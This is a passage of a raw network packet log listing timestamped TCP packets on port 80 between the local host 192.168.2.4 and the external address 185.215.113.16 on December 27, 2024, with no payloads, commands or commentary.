Dec 27, 2024 15:04:08.421046019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421046972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421057940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421068907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421080112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421092033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421103954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421116114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421120882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421128035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421140909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421152115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421159983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421164989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421180010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421190977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421195984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421201944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421214104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421222925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421226025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421236992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421250105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421251059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421262980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421274900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421287060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421293020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421298027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421310902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421324968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421325922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421338081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421350002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421350002 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421363115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421372890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421375036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421386957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421399117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421407938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421421051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421421051 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421436071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421439886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421444893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421457052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421468973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.421479940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.421510935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.422482967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.422497034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.422508955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.422523975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.422532082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.422538042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.422564030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.422604084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.424012899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.424029112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.424041986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.424055099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.424067974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.424104929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.426139116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.426155090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.426171064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.426184893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.426204920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.426254988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.428009987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.428025961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.428039074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.428052902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.428073883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.428117990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.429002047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.429024935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.429040909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.434084892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.449676037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.449706078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.449736118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.449943066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.449992895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.450023890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.450170040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.450237036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.450994968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.479630947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.535815001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.535835981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.535897017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.539366007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.539513111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.539560080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.539813995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.539943933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.539983034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.542243004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.542355061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.542396069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.542624950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.543193102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.543237925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.543328047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.543663025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.543701887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.543859005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.543930054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.543968916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.544275045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.544351101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.544389009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.544723034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.544842958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.544883013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.545624971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.545773983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.545818090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.546505928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.546705961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.546746016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.546797991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.547689915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.547725916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.547739029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.548569918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.548610926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.548646927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.549350023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.549390078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.549576044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.549700022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.549736977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.550503969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.550849915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.550908089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.551520109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.551585913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.551623106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.552241087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.573908091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.573971987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.573998928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.574330091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.574368000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.574608088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.574836969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.574878931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.575377941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.575541019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.575614929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.576190948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.624547005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.664133072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.664199114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.664258957 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.664602041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.666651011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.666667938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.666697979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.667001009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.667042971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.667608023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.667793036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.667834997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.668122053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.668309927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.668320894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.668349981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.668642998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.668689013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.668751955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.669568062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.669600964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.669615984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.670248985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.670264006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.670291901 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.671104908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.671118975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.671144962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.671178102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.671221972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.671947002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.672036886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.672075987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.672863960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.672879934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.672916889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.673427105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.673567057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.673613071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.674545050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.674559116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.674598932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.675334930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.675358057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.675395966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.676105976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.676254034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.676295996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.676935911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.698229074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.698309898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.698339939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.698668957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.698710918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.698772907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.699248075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.699290037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.699305058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.700154066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.700196028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.700229883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.749567986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.788865089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.788907051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.789021969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.789063931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.790914059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.790968895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.791019917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.791292906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.791331053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.791605949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.791717052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.791765928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.792488098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.792630911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.792644978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.792670012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.793309927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.793354988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.793354988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.793898106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.793946981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.793962955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.794764042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.794820070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.794883013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.795360088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.795412064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.795408964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.796204090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.796245098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.796294928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.796751022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.796804905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.796874046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.797770977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.797786951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.797821999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.798598051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.798624992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.798641920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.799182892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.799231052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.799335003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.800107002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.800121069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.800158024 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.801131964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.801146030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.801197052 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.823259115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.823281050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.823343039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.823357105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.823395967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.823419094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.824771881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.824789047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.824803114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.824827909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.824846029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.825872898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.874614000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.874620914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.874665022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.874758959 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.915440083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.915488005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.915577888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.916070938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.916085005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.916122913 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.916408062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.916512012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.916548967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.917150021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.917383909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.917396069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.917419910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.918169022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.918181896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.918206930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.918855906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.918894053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.918996096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.919738054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.919795036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.919977903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.920085907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.920123100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.920882940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.921092033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.921143055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.921747923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.921835899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.921884060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.922668934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.922769070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.922815084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.923523903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.923629045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.923679113 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.924384117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.924510002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.924555063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.925276995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.925395012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.925450087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.926227093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.926240921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.926279068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.947268009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.947290897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.947331905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.947355032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.947433949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.947480917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.948328018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.948357105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.948394060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.948788881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.949217081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:08.949286938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:08.949662924 CET	80	49743	185.215.113.16	192.168.2.4
